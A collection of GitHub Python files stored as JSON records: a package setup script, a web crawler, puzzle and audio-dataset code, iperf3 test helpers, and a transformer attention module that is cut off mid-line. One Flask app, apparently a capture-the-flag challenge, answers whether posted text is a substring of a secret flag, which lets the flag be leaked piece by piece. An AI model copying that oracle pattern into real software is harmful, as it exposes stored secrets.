+{"seq_id":"11471170659","text":"from setuptools import setup, find_packages\n\nwith open(\"README.md\", \"r\") as stream:\n long_description = stream.read()\n\nsetup(\n name = \"loto_online.py\",\n version = \"1.0.0\",\n url = \"https://github.com/Zakovskiy/loto_online.py\",\n download_url = \"https://github.com/Zakovskiy/loto_online.py/tarball/master\",\n license = \"MIT\",\n author = \"Zakovskiy\",\n author_email = \"gogrugu@gmail.com\",\n description = \"A library to create Loto Online bots.\",\n long_description = long_description,\n long_description_content_type = \"text/markdown\",\n keywords = [\n \"loto\",\n \"online\",\n \"loto_online.py\",\n \"loto.py\",\n \"loto-bot\",\n \"rstgame\",\n \"rstgames\",\n \"api\",\n \"socket\",\n \"python\",\n \"python3\",\n \"python3.x\",\n \"zakovskiy\",\n \"official\"\n ],\n install_requires = [\n \"setuptools\",\n \"requests\",\n \"loguru\",\n ],\n setup_requires = [\n \"wheel\"\n ],\n packages = find_packages()\n)\n","repo_name":"Zakovskiy/loto_online.py","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1023,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"73844724394","text":"#!/usr/bin/env python3\n\"\"\"\nLonginus web-crawler 1.1 © MIT licensed\nhttps://pypi.org/project/longinus/\nhttps://github.com/fatorius/Longinus\nHugo Souza 2022\n\"\"\"\n\nimport datetime\nimport threading\nimport re\n\nimport pip\nimport sys\nimport json\n\nfrom os import execl\nfrom subprocess import check_call\nfrom urllib.parse import urljoin\nfrom urllib.parse import urlparse\nfrom time import sleep, time\n\n\ndef install(package):\n \"\"\"\n Automatically installs python pip package and restarts the program\n This script was taken from https://github.com/revoxhere/duino-coin/blob/master/PC_Miner.py\n \"\"\"\n try:\n pip.main([\"install\", package])\n except AttributeError:\n check_call([sys.executable, '-m', 'pip', 'install', package])\n\n execl(sys.executable, sys.executable, *sys.argv)\n\n\ntry:\n import html2text\nexcept ModuleNotFoundError:\n print(\"html2text is not installed. \"\n + \"Longinus will try to automatically install it \"\n + \"If it fails, please manually execute \"\n + \"python3 -m pip install html2text\\n\")\n install(\"html2text\")\n\ntry:\n import selenium\n\n from selenium import webdriver\n from selenium.webdriver.chrome.service import Service\nexcept ModuleNotFoundError:\n print(\"selenium is not installed. \\n\"\n + \"Longinus will try to automatically install it \\n\"\n + \"If it fails, please manually execute \\n\"\n + \"python3 -m pip install selenium\\n\")\n install(\"selenium\")\n\ntry:\n from bs4 import BeautifulSoup, FeatureNotFound\nexcept ModuleNotFoundError:\n print(\"BeautifulSoup is not installed. \\n\"\n + \"Longinus will try to automatically install it \\n\"\n + \"If it fails, please manually execute \\n\"\n + \"python3 -m pip install beautifulsoup4\\n\")\n install(\"beautifulsoup4\")\n\ntry:\n from webdriver_manager.chrome import ChromeDriverManager\nexcept ModuleNotFoundError:\n print(\"webdriver_manager is not installed. \\n\"\n + \"Longinus will try to automatically install it \\n\"\n + \"If it fails, please manually execute \\n\"\n + \"python3 -m pip install webdriver_manager\\n\")\n install(\"webdriver_manager\")\n\ntry:\n from colorama import init\n\n init(autoreset=True)\nexcept ModuleNotFoundError:\n print(\"Colorama is not installed. \\n\"\n + \"Longinus will try to automatically install it \\n\"\n + \"If it fails, please manually execute \\n\"\n + \"python3 -m pip install colorama\\n\")\n install(\"colorama\")\n\ntry:\n from termcolor import colored\nexcept ModuleNotFoundError:\n print(\"termcolor is not installed. \\n\"\n + \"Longinus will try to automatically install it \\n\"\n + \"If it fails, please manually execute \\n\"\n + \"python3 -m pip install termcolor\\n\")\n install(\"termcolor\")\n\nVERSION = \"1.1\"\n\n\ndef lxml_installed():\n try:\n BeautifulSoup(\"<html><h1>This is a test</h1></html\", features=\"lxml\")\n return True\n except FeatureNotFound:\n return False\n\n\ndef are_from_same_domain(url1, url2):\n origin_domain = urlparse(url1).hostname\n\n return origin_domain in url2\n\n\ndef comp_dom(url1, url2):\n domain1 = urlparse(url1).hostname\n domain2 = urlparse(url2).hostname\n\n if domain1 != domain2:\n return False\n\n domain1 = domain1.split(\".\")\n domain2 = domain2.split(\".\")\n\n url1 = url1.replace(\"://\", \".\").split(\".\")\n url2 = url2.replace(\"://\", \".\").split(\".\")\n\n if url1[url1.index(domain1[0]) - 1] != url2[url2.index(domain2[0]) - 1]:\n return False\n\n return True\n\n\ndef obtain_browser():\n options = webdriver.ChromeOptions()\n\n options.add_argument(\"--headless\")\n options.add_argument(\"--window-size=1920,1080\")\n options.add_argument(\"--no-sandbox\")\n options.add_argument(\"--disable-gpu\")\n options.add_argument(\"--disable-crash-reporter\")\n options.add_argument(\"--disable-extensions\")\n options.add_argument(\"--disable-in-process-stack-traces\")\n options.add_argument(\"--disable-logging\")\n options.add_argument(\"--disable-dev-shm-usage\")\n options.add_argument(\"--log-level=3\")\n options.add_argument(\"--output=/dev/null\")\n\n driver = Service(ChromeDriverManager().install())\n driver.EnableVerboseLogging = False\n driver.SuppressInitialDiagnosticInformation = True\n driver.HideCommandPromptWindow = True\n\n browser = webdriver.Chrome(service=driver, options=options)\n\n return browser\n\n\ndef write_to_file(url, keyword, full_text, title):\n if \"google.com\" in url:\n return\n with open(\"results.txt\", \"a+\") as file:\n file.write(\"{} ({}): {} \\n\".format(title, url, keyword))\n file.write(full_text + \"\\n\\n\")\n file.close()\n\n\n# Strategies\nONLY_ORIGIN_DOMAIN = 0 # doesnt follow links that lead to a different domain\nONLY_SUBDOMAINS = 2 # follow only subdomains\nFOLLOW_ALL_LINKS = 3 # follows everything that comes up on the page\nSHALLOW_LINKS = 4 # follows links that lead to other domains with depth 0\n\n# Saving frequency\nULTRA_FREQUENT = 1\nVERY_FREQUENT = 10\nFREQUENT = 25\nNORMAL = 50\nSOMETIMES = 100\nRARELY = 200\n\n\ndef get_text(page):\n for tag in page([\"script\", \"style\"]):\n tag.decompose()\n return html2text.html2text(page.prettify())\n\n\ndef default_filter(url):\n # ignore google search results page\n if \"webcache.googleusercontent.com\" in url:\n return True\n return False\n\n\nclass Longinus:\n class QueuedURL:\n def __init__(self, url, depth):\n self.url = url\n self.depth = depth\n\n def __init__(self, name: str, threads: int = 4, wait_for_page_load_ms: int = 500,\n when_find: callable = write_to_file, save_bot: bool = False):\n self.name = name\n self.number_of_threads = threads\n self.threads = []\n self.crawled_links = []\n self.total_urls_crawled = 0\n self.total_urls = 0\n self.urls = None\n self.queue = []\n self.wait = wait_for_page_load_ms\n self.depth = 0\n self.strategy = SHALLOW_LINKS\n self.bonus = 1\n self.total_references_found = 0\n self.callback = when_find\n self.filtering_function = default_filter\n self.issetup = False\n self.save_bot = save_bot\n self.saving_frequency = NORMAL\n self.currently_saving = False\n self.total_saves = 0\n self.must_contain_words = []\n self.must_not_contain_words = []\n\n if not lxml_installed():\n self.log(\"lxml module wasn't found, trying to install before continuing...\", \"red\")\n install(\"lxml\")\n self.log(\"lxml module wasn't found, trying to install before continuing...\", \"green\")\n\n self.startup_message()\n\n def set_callback(self, new_callback: callable):\n self.callback = new_callback\n\n def set_url(self, new_urls):\n self.urls = new_urls\n\n def set_filter(self, new_filter):\n self.log(\"Filtering function set to {}\".format(new_filter.__name__), \"green\")\n self.filtering_function = new_filter\n\n def log(self, msg, color=None, on_color=None, thread: int = 0):\n t = datetime.datetime.now()\n\n thread_info = \" \"\n\n if thread != 0:\n thread_info = colored(\" Thread {} |\".format(thread), \"cyan\")\n\n print(colored(\"[{}] {} |{}\".format(t.isoformat(), self.name, thread_info), \"green\") +\n colored(msg, color, on_color))\n\n def startup_message(self):\n print(colored(\"=\" * 20, \"green\"))\n print(colored(\"Created Longinus bot\", \"green\"))\n print(colored(\"=====BOT INFO=====\", \"green\"))\n print(colored(\"BOT_NAME:\", None, \"on_green\") + \" \" +\n colored(self.name, \"green\"))\n print(colored(\"NUMBER_OF_THREADS:\", None, \"on_green\") + \" \" +\n colored(str(self.number_of_threads), \"green\"))\n print(colored(\"SAVING BOT:\", None, \"on_green\") + \" \" +\n colored(str(self.save_bot), \"green\"))\n print(colored(\"=\" * 20, \"green\"))\n\n def match_current_strategy(self, origin, link):\n if self.strategy == FOLLOW_ALL_LINKS or self.strategy == SHALLOW_LINKS:\n return True\n elif self.strategy == ONLY_SUBDOMAINS:\n return are_from_same_domain(origin, link)\n elif self.strategy == ONLY_ORIGIN_DOMAIN:\n return comp_dom(origin, link)\n\n def get_new_depth(self, origin, link, current_depth):\n if self.strategy == SHALLOW_LINKS and not are_from_same_domain(link, origin):\n return 0\n return current_depth - 1\n\n def hit_page(self, browser, url, thread_id=0):\n start = time()\n try:\n browser.get(url)\n sleep(self.wait / 1000)\n except selenium.common.exceptions.WebDriverException:\n self.log(colored(\"ERROR: Couldn't access url {}\".format(url), \"red\"), thread=thread_id)\n else:\n self.log(colored(\"{} responded 200 in {:.2f} seconds\".format(url, time() - start)), \"green\",\n thread=thread_id)\n\n return browser.page_source\n\n def queue_new_links(self, html, depth, url, thread_id=0):\n links = html.find_all('a')\n page_links = 0\n for link in links:\n try:\n link = urljoin(url, link[\"href\"])\n except KeyError:\n continue\n if (link not in self.crawled_links) and self.match_current_strategy(url, link):\n page_links += 1\n self.queue.append(self.QueuedURL(link, self.get_new_depth(url, link, depth)))\n self.total_urls += 1\n\n if page_links != 0:\n self.log(colored(\"{} new links found at {}\".format(page_links, url), \"blue\"), thread=thread_id)\n\n def analyse_text(self, text):\n text = text.lower()\n\n if len(self.must_contain_words) > 0:\n for word in self.must_contain_words:\n if text.count(word[\"word\"]) <= word[\"frequency\"]:\n return False\n\n if len(self.must_not_contain_words) > 0:\n for word in self.must_not_contain_words:\n if text.count(word[\"word\"]) >= word[\"frequency\"]:\n return False\n return True\n\n def search(self, thread_id, keywords, page, url):\n title = page.title.string\n page = page.body\n for word in keywords:\n\n cases = page.find_all(string=re.compile(word, re.IGNORECASE))\n\n if len(cases) == 0:\n continue\n\n text = get_text(page)\n\n if self.analyse_text(text):\n self.log(colored(\"Found a match in {}\".format(url), \"magenta\", \"on_grey\", attrs=[\"bold\"]),\n thread=thread_id)\n self.callback(url, word, get_text(page), title)\n return True\n return False\n\n def crawl(self, thread_id, keywords: list, browser):\n while len(self.queue) > 0:\n while self.currently_saving:\n sleep(5)\n\n current = self.queue.pop(0)\n url = current.url\n depth = current.depth\n\n self.total_urls_crawled += 1\n\n if url in self.crawled_links:\n self.log(colored(\"Skipping {}...\".format(url), \"red\"), thread=thread_id)\n continue\n elif self.filtering_function(url):\n self.log(colored(\"{} filtered...\".format(url), \"red\"), thread=thread_id)\n continue\n\n self.log(colored(\"({}/{})\".format(self.total_urls_crawled, self.total_urls), \"grey\", \"on_white\") +\n \" Crawling over {} - Depth: {}\".format(url, depth), thread=thread_id)\n\n self.crawled_links.append(url)\n\n page_source = self.hit_page(browser, url, thread_id)\n\n html = BeautifulSoup(page_source, features=\"lxml\")\n\n self.log(colored(\"Searching for references in {}\".format(url), \"cyan\", None, attrs=[\"bold\"]),\n thread=thread_id)\n\n found = self.search(thread_id, keywords, html, url)\n\n if found:\n depth += self.bonus\n else:\n self.log(colored(\"No references found in {}\".format(url), \"cyan\", None, attrs=[\"bold\"]),\n thread=thread_id)\n\n if depth > 0:\n self.queue_new_links(html, depth, url, thread_id)\n\n self.log(\"Exiting {}\".format(url), color=\"red\", thread=thread_id)\n\n if self.save_bot:\n if self.total_urls_crawled % self.saving_frequency == 0:\n self.currently_saving = True\n self.log(\"Currently saving bot, pausing threads\", \"red\", \"on_yellow\")\n self.save_state()\n self.currently_saving = False\n\n self.log(colored(\"Thread {} finished\".format(thread_id), \"red\", \"on_white\"))\n browser.quit()\n\n def save_state(self):\n save_filename = \"{}-{}\".format(self.name, self.total_saves)\n with open(save_filename, \"a+\") as file:\n file.write('{' + '\"name\": \"{}\", \"threads\": {}, \"wait_for_load\": {}, \"strategy\": \"{}\", \"bonus\": {}, '\n '\"saving_frequency\": {}, \"depth\": {}, \"seen_urls\": [\\n\"google.com\"'.format(\n self.name, self.number_of_threads, self.wait, self.strategy, self.bonus, self.saving_frequency,\n self.depth\n ))\n for seen_url in self.crawled_links:\n file.write(',\\n\"{}\"'.format(seen_url))\n file.write('], \"queue\":[{}')\n for item in self.queue:\n file.write(',\\n{' + '\"link\": \"{}\", \"depth\": {}'.format(item.url, item.depth) + '}')\n file.write(']}')\n file.close()\n self.total_saves += 1\n self.log(\"Bot successfully saved to {}, resuming threads\".format(save_filename), \"red\", \"on_yellow\")\n\n def get_n_inside_links(self, url, browser, n, depth):\n browser.get(url)\n sleep(self.wait / 1000)\n\n try:\n browser.get(url)\n sleep(self.wait / 1000)\n except selenium.common.exceptions.WebDriverException:\n pass\n\n html = BeautifulSoup(browser.page_source, features=\"lxml\")\n\n links = html.find_all('a')\n\n page_links = []\n for link in links:\n try:\n link = urljoin(url, link[\"href\"])\n except KeyError:\n continue\n\n page_links.append(self.QueuedURL(link, depth))\n\n if len(page_links) < n:\n new_links = self.get_n_inside_links(page_links[0], browser, n - len(page_links), depth - 1)\n page_links += new_links\n\n return page_links\n\n def setup(self, depth: int = 3, strategy=SHALLOW_LINKS, bonus_when_match: int = 1, saving_frequency=NORMAL):\n self.issetup = True\n if type(self.urls) == list:\n for url in self.urls:\n self.queue.append(self.QueuedURL(url, depth))\n\n if len(self.urls) < self.number_of_threads:\n temp_browser = obtain_browser()\n self.queue += self.get_n_inside_links(self.urls[0], temp_browser, self.number_of_threads, depth)\n\n self.depth = depth\n self.strategy = strategy\n self.bonus = bonus_when_match\n\n if self.save_bot:\n self.saving_frequency = saving_frequency\n\n self.log(\"Longinus has been successfully setup\", \"green\")\n\n def not_setup_error_message(self):\n return \"The Longinus bot {} has not been setup, please call Longinus.setup() before you start crawling \\nIf \" \\\n \"you have any doubts about this method please check the documentation: \" \\\n \"https://github.com/fatorius/Longinus/blob/main/README.md \\n\".format(self.name)\n\n def reset_attributes(self):\n self.must_contain_words = []\n self.must_not_contain_words = []\n self.urls = []\n self.total_urls = 0\n\n def start(self, search_for: list, must_contain=None, must_not_contain=None):\n # {word: \"x\", frequency: 1}\n if must_not_contain is None:\n must_not_contain = []\n else:\n if type(must_not_contain[0]) != dict:\n self.log('WARNING: The must_not_contain argument is expected to be a list of dicts such as {\"word\": '\n '\"x\", \"frequency\": 1}. \\nCheck out the documentation in order to get the proper usage of '\n 'these functionalities', \"yellow\")\n self.log(\"WARNING: must_not_contain is going to be None at {}\".format(self.name), \"red\")\n if must_contain is None:\n must_contain = []\n else:\n if type(must_contain[0]) != dict:\n self.log('WARNING: The must_contain argument is expected to be a list of dicts such as {\"word\": '\n '\"x\", \"frequency\": 1}. \\nCheck out the documentation in order to get the proper usage of '\n 'these functionalities', \"yellow\")\n self.log(\"WARNING: must_contain is going to be None at {}\".format(self.name), \"red\")\n\n self.must_contain_words = must_contain\n self.must_not_contain_words = must_not_contain\n\n if not self.issetup:\n raise AssertionError(self.not_setup_error_message())\n\n if self.urls is None:\n self.urls = []\n for words in search_for:\n self.urls.append(\"https://www.google.com/search?q=\" + words)\n self.setup(self.depth, self.strategy, self.bonus, self.saving_frequency)\n\n self.log(colored(\"Starting crawling at depth {}\".format(self.depth), \"blue\"))\n self.log(colored(\"Searching for {}\".format(search_for), \"blue\"))\n\n self.total_urls = len(self.queue)\n\n start = time()\n\n for thread_no in range(self.number_of_threads):\n self.log(\"Thread {} starting\".format(thread_no + 1))\n\n t = threading.Thread(target=self.crawl, args=(thread_no + 1, search_for,\n obtain_browser()))\n t.start()\n self.threads.append(t)\n\n for thread in self.threads:\n thread.join()\n\n self.log(colored(\"Finished crawling in {:.2f} seconds\".format(time() - start), \"blue\"))\n\n self.reset_attributes()\n\n\ndef load_bot_from_save(save_filename: str):\n loaded_bot = None\n\n with open(save_filename, \"r\") as file:\n obj = json.loads(file.read())\n\n bot = Longinus(obj[\"name\"], obj[\"threads\"], obj[\"wait_for_load\"], save_bot=True)\n\n bot.crawled_links = obj[\"seen_urls\"]\n\n queue_obj = obj[\"queue\"]\n saved_queue = []\n\n queue_obj.pop(0)\n\n for item in queue_obj:\n saved_queue.append(Longinus.QueuedURL(item[\"link\"], item[\"depth\"]))\n\n bot.queue = saved_queue\n\n bot.setup(obj[\"depth\"], obj[\"strategy\"], obj[\"bonus\"], obj[\"saving_frequency\"])\n\n loaded_bot = bot\n\n file.close()\n\n return loaded_bot\n","repo_name":"fatorius/Longinus","sub_path":"src/longinus/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":18894,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"72582022314","text":"import math\nimport numpy\n\ndef lines():\n with open(\"9.txt\") as fp:\n return fp.readlines()\n\ndef process_lines():\n post = []\n for a in lines():\n post.append(int(a.strip()))\n return post\n\ndef calc(n, l):\n for a in l:\n if (n-a) in l and (n-a) != a:\n return True\n return False\n\n\nlines = process_lines()\n\npre_len = 25\ni = pre_len\nfor _ in range(len(lines)):\n buf = lines[i-pre_len:i]\n if not calc(lines[i], buf):\n print(lines[i])\n break\n i += 1\n\n\n\n\n\n\n","repo_name":"Barisimre/AoC2020","sub_path":"9_1.py","file_name":"9_1.py","file_ext":"py","file_size_in_byte":517,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"69825671274","text":"\"\"\"## Building dataset class\"\"\"\n\nfrom torch.utils.data import Dataset\nimport torchaudio\nimport torch\nimport pandas as pd\nimport torch.nn as nn\n\nclass WakeWordDataset(Dataset):\n def __init__(self, csv, sample_rate, nbr_samples, device, transformations):\n #super.__init__()\n self.csv = pd.read_csv(csv)\n self.sample_rate = sample_rate\n self.nbr_samples = nbr_samples\n self.device = device\n self.transformations = transformations\n\n\n def __len__(self):\n return len(self.csv)\n\n def __getitem__(self, i):\n audio, sr = torchaudio.load(self.csv.iloc[i, 0])\n label = self.csv.iloc[i, 1]\n # Make sure that all audio's have the same sample_rate\n audio = self._resample_if_necessary(audio, sr)\n # Make sure every audio have the same channels .ie 1\n audio = self._mix_down_if_necessary(audio)\n # If the audio is longer than the wanted length, cut it down\n audio = self._cut_down_if_necessary(audio)\n # If the audio is shorter, fill it up\n audio = self._right_padding_if_necessary(audio)\n # Lastly create the Mel-Spectrogram\n audio = self.transformations(audio)\n # we remove the channel dimention from (nbr_channels, n_mels, time) -> (n_mels, time)\n audio = audio.squeeze(dim=0)\n # now we transpose from (n_mels, time) -> (time, n_mels) for the input of LSTM\n audio = torch.transpose(audio, 0, 1)\n\n return audio, label\n\n def _resample_if_necessary(self, audio, sr):\n if sr != self.sample_rate:\n resampler = torchaudio.transforms.Resample(sr, self.sample_rate).to(self.device)\n audio = resampler(audio)\n return audio\n\n def _mix_down_if_necessary(self, audio):\n if audio.shape[0] > 1:\n audio = torch.mean(audio, dim=0, keepdim=True)\n return audio\n\n def _cut_down_if_necessary(self, audio):\n if audio.shape[1] > self.nbr_samples:\n audio = audio[:, :self.nbr_samples]\n return audio\n\n def _right_padding_if_necessary(self, audio):\n if audio.shape[1] < self.nbr_samples:\n left_padding = (0, self.nbr_samples - audio.shape[1])\n audio = torch.nn.functional.pad(audio, left_padding)\n return audio\n \nif __name__ == \"__main__\":\n\n if torch.cuda.is_available():\n device = \"cuda\"\n else:\n device = \"cpu\"\n\n SAMPLE_RATE= 48000\n NBR_SAMPLES = 240000\n\n print(f\"device is {device}\")\n\n mel_spectrogram = torchaudio.transforms.MelSpectrogram(sample_rate=SAMPLE_RATE,\n n_fft=1024,\n hop_length=512, # half the frame_size n_fft\n n_mels=64)\n\n transform = nn.Sequential(mel_spectrogram)\n\n data = WakeWordDataset(csv = \"/content/wakeword_4smp.csv\",\n sample_rate = SAMPLE_RATE,\n nbr_samples = NBR_SAMPLES,\n device = device,\n transformations = transform.to(device))\n\n audio, label = data[0]\n\n audio.shape\n # [should be (time, n_mels) -> example: (469, 64)]","repo_name":"Sabri-blm/Mei-a_virtual_assistant","sub_path":"Scripts/Dataset.py","file_name":"Dataset.py","file_ext":"py","file_size_in_byte":3012,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"9552267232","text":"#!/usr/bin/env python3\nimport sys\n\nfrom lib import *\n\n\ndef reader_counter(file_name: str) -> None:\n with open(file_name) as fl:\n text = fl.read()\n len_of_text = length_of_str(text)\n num_of_words = word_count(text)\n number_of_sentence = sentences_count(text) \n number_of_letter = letter_count(text)\n print(\n f'Length of our text is {len_of_text}\\n'\n f'Number of words is {num_of_words}\\n'\n f'Number of sentences is {number_of_sentence}\\n'\n f'Number of letter is {number_of_letter}\\n'\n )\n\n\nif __name__ == \"__main__\":\n reader_counter(sys.argv[1])\n","repo_name":"minsk-python-dojo/text-analysis","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":643,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"43588942046","text":"#!/bin/python3\n\nimport os\nimport sys\n\nimport json\nimport time\nimport paramiko\n\nimport pandas as pd\n\nfrom datetime import datetime\nfrom dateutil import tz\n\ndef create_table_local(table, headers=None, title='', properties={}, hide_header=False, title_font_size='1.25em', index=None):\n \n if headers is not None:\n df = pd.DataFrame(table, columns=headers)\n else:\n df = pd.DataFrame(table)\n\n if index is not None:\n df.set_index(index, inplace=True, drop=True)\n df.columns.name = df.index.name\n df.index.name = None\n\n if hide_header:\n style = df.style.set_caption(title).set_properties(**properties).hide(axis='index').hide(axis='columns').set_table_styles([{\n 'selector': 'caption',\n 'props': f'caption-side: top; font-size:{title_font_size};'\n }], overwrite=False)\n else:\n style = df.style.set_caption(title).set_properties(**properties).set_table_styles([{\n 'selector': 'caption',\n 'props': f'caption-side: top; font-size:{title_font_size};'\n }], overwrite=False)\n\n slice_string = style\n return slice_string\n\ndef iperf3_process_output(output_dir='output', verbose=False):\n \n files = os.listdir(output_dir) \n \n run_suffix = '_client_summary_output' \n runs = {} \n for file in files:\n if file.endswith(run_suffix):\n run_name = file.removesuffix(run_suffix)\n \n #open text file in read mode\n f = open(f'{output_dir}/{file}', \"r\")\n run_output = f.read()\n f.close()\n \n runs[run_name] = json.loads(run_output)\n \n \n #print(f\"{runs}\")\n table = []\n for run_name,streams in runs.items():\n \n #print(f\"{run_name}\")\n \n run_bandwidth = 0.0\n run_retransmits = 0\n run_max_rtt = 0\n run_min_rtt = -1\n run_mean_rtt = 0\n run_mtu = 0\n \n for stream in streams:\n \n #for k1,v1 in stream.items():\n # print(f\"key: {k1}\")\n \n run_mtu = stream['intervals'][0]['streams'][0]['pmtu']\n\n stream_port = stream['start']['connecting_to']['port']\n stream_bandwidth = stream['end']['sum_received']['bits_per_second']*0.000000001\n stream_retransmits = stream['end']['sum_sent']['retransmits']\n stream_max_rtt = stream['end']['streams'][0]['sender']['max_rtt']*0.001\n stream_min_rtt = stream['end']['streams'][0]['sender']['min_rtt']*0.001\n stream_mean_rtt = stream['end']['streams'][0]['sender']['mean_rtt']*0.001\n stream_host_total = stream['end']['cpu_utilization_percent']['host_total'] \n stream_host_user = stream['end']['cpu_utilization_percent']['host_user']\n stream_host_system = stream['end']['cpu_utilization_percent']['host_system']\n stream_remote_total = stream['end']['cpu_utilization_percent']['remote_total']\n stream_remote_user = stream['end']['cpu_utilization_percent']['remote_user']\n stream_remote_system = stream['end']['cpu_utilization_percent']['remote_system']\n stream_sender_tcp_congestion = stream['end']['sender_tcp_congestion']\n stream_receiver_tcp_congestion = stream['end']['receiver_tcp_congestion']\n \n #print(f\"Stream: {stream_port}. bw = {stream_bandwidth}\")\n run_bandwidth += stream_bandwidth\n run_retransmits += stream_retransmits\n \n if stream_max_rtt > run_max_rtt:\n run_max_rtt = stream_max_rtt\n \n if stream_min_rtt < run_min_rtt or run_min_rtt == -1:\n run_min_rtt = stream_min_rtt\n \n run_mean_rtt += stream_mean_rtt\n \n run_mean_rtt = run_mean_rtt / len(streams)\n \n table.append( [ run_name,\n len(streams),\n run_mtu,\n f'{run_bandwidth:.3f}',\n f'{run_max_rtt:.2f}',\n f'{run_min_rtt:.2f}',\n f'{run_mean_rtt:.2f}',\n run_retransmits,\n ] )\n #if verbose:\n #print(f\"{run_name}: pmtu: {run_mtu}, bw: {run_bandwidth:.3f} Gbps, rtt ms (max/min/mean): {run_max_rtt:.2f}/{run_min_rtt:.2f}/{run_mean_rtt:.2f} ms, retransmits: {run_retransmits}\")\n headers=[\"Name\", \"P\", \"pmtu\", \"bw\", \"rtt_max\", \"rtt_min\", \"rtt_mean\", \"retransmits\" ]\n printable_table = create_table_local(table, title=f'iperf3 tests', properties={'text-align': 'left'}, headers=headers, index='Name')\n display(printable_table)\n\n \n \n \n \n \n \n\n\n \ndef iperf3_run(source_node=None, target_node=None, target_ip=None, w=None, P=1, t=60, i=10, O=None, verbose=False):\n \n run_name=f\"{source_node.get_name()}_{target_node.get_name()}_{datetime.now(tz=tz.tzutc()).strftime('%Y%m%d%H%M')}\"\n\n target_thread = target_node.execute_thread(f'./fabric_node_tools/iperf3_server.sh {run_name} {P}')\n \n # Make sure the target is running before the source starts\n time.sleep(10)\n \n net_name = f\"{target_node.get_site()}_net\"\n\n retry = 3\n while retry > 0:\n command = f'./fabric_node_tools/iperf3_client.sh {run_name} {target_ip} {P} -t {t} -i {i}'\n #command = f'iperf -J -t {t} -i {i} -c {target_ip} -P {P}'\n if O != None:\n command = f'{command} -O {O}'\n \n if w != None:\n command = f'{command} -w {w}'\n \n print(f\"{command}\")\n \n source_thread = source_node.execute_thread(command)\n\n source_stdout, source_stderr = source_thread.result()\n\n #print(f\"source_stdout: {source_stdout}\")\n #print(f\"source_stderr: {source_stderr}\")\n\n\n #if 'error' in json.loads(source_stdout).keys():\n # print(f\"{source_node.get_name()} -> {target_node.get_name()} {target_ip}: error: {json.loads(source_stdout)['error']}\")\n # retry = retry - 1\n # time.sleep(5)\n # continue\n\n break\n \n \n\n print(f\"source_stderr: {source_stderr}\")\n\n # Start target thread\n target_stdout, target_stderr = target_thread.result()\n print(f\"target_stderr: {target_stderr}\")\n \n time.sleep(10)\n\n \n source_node.download_file(f'./output/{run_name}_client_summary_output',f'{run_name}_client_summary_output')\n target_node.download_file(f'./output/{run_name}_server_summary_output',f'{run_name}_server_summary_output')\n\n \n \n \n \n #print(f\"{source_stdout}\")\n #print(f\"{target_stdout}\")\n \n \n \n\n \n #return iperf3_output\n\n\n","repo_name":"fabric-testbed/jupyter-examples","sub_path":"fabric_examples/public_demos/SC22/fablib_local/performance_testing/iperf3.py","file_name":"iperf3.py","file_ext":"py","file_size_in_byte":6844,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"72"} +{"seq_id":"14494464260","text":"from flask import Flask, render_template, request\nimport os\n\napp = Flask(__name__)\nflag = open(\"flag.txt\").read()\ndb = [i.strip() for i in open(\"database.db\", \"r\").readlines()]\ndb.append(flag)\nTEAM_LINK = os.getenv(\"TEAM_LINK\")\n\n\ndef check_if_in(input):\n for record in db:\n if input in record:\n return True\n return False\n\n\n@app.route(\"/\")\ndef index():\n return render_template(\"index.html\", TEAM_LINK=TEAM_LINK)\n\n\n@app.route(\"/submit\", methods=[\"POST\"])\ndef check():\n req = request.data.decode(\"utf-8\")\n return {\"error\": not check_if_in(req)}\n\n\nif __name__ == \"__main__\":\n app.run(host=\"0.0.0.0\", port=5000)\n","repo_name":"wszafcemamczipsyibatony2/Realv-chall","sub_path":"source/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":643,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"28331711274","text":"import math\nimport torch\nimport torch.nn as nn\nfrom torch.autograd import Variable\nimport torch.nn.functional as F\nfrom torch.nn import CrossEntropyLoss\nfrom model.util import clones\nfrom transformers.activations import get_activation\n\n\"\"\"\nself-Attention의 경우 Query Q, Key K, Value V를 입력으로 받아\nMatMul(Q,K) -> Scale -> Masking(opt. Decoder) -> Softmax -> MatMul(result, V)\n\n\"\"\"\n\ndef self_attention(query, key, value, mask=None):\n key_transpose = torch.transpose(key,-2,-1) # (bath, head_num, d_k, token_)\n matmul_result = torch.matmul(query,key_transpose) # MatMul(Q,K)\n d_k = query.size()[-1]\n attention_score = matmul_result/math.sqrt(d_k) # Scale\n\n if mask is not None:\n attention_score = attention_score.masked_fill(mask == 0, -1e20)\n\n softmax_attention_score = F.softmax(attention_score,dim=-1) # 어텐션 값\n result = torch.matmul(softmax_attention_score,value)\n\n return result, softmax_attention_score\n\n\n\"\"\"\n멀티헤드 어텐션\nMultiHead(Q,K,V) = Concat(head_1,head_2,...head_n)W^O\nhead_i = Attention(QW^Q_i, KW^K_i, VW^V_i)\nW^Q는 모델의 dimension x d_k\nW^K는 모델의 dimension x d_k\nW^V는 모델의 dimension x d_v\nW^O는 d_v * head 갯수 x 모델 dimension\n논문에서는 헤더의 갯수를 8개 사용\n\"\"\"\nclass MultiHeadAttention(nn.Module):\n def __init__(self, head_num =8 , d_model = 512,dropout = 0.1):\n super(MultiHeadAttention,self).__init__()\n\n # print(d_model % head_num)\n # assert d_model % head_num != 0 # d_model % head_num == 0 이 아닌경우 에러메세지 발생\n\n self.head_num = head_num\n self.d_model = d_model\n self.d_k = self.d_v = d_model // head_num\n\n self.w_q = nn.Linear(d_model,d_model)\n self.w_k = nn.Linear(d_model,d_model)\n self.w_v = nn.Linear(d_model,d_model)\n self.w_o = nn.Linear(d_model,d_model)\n\n self.self_attention = self_attention\n self.dropout = nn.Dropout(p=dropout)\n\n def forward(self, query, key, value, mask = None):\n if mask is not None:\n # Same mask applied to all h heads.\n mask = mask.unsqueeze(1)\n\n batche_num = query.size(0)\n\n query = 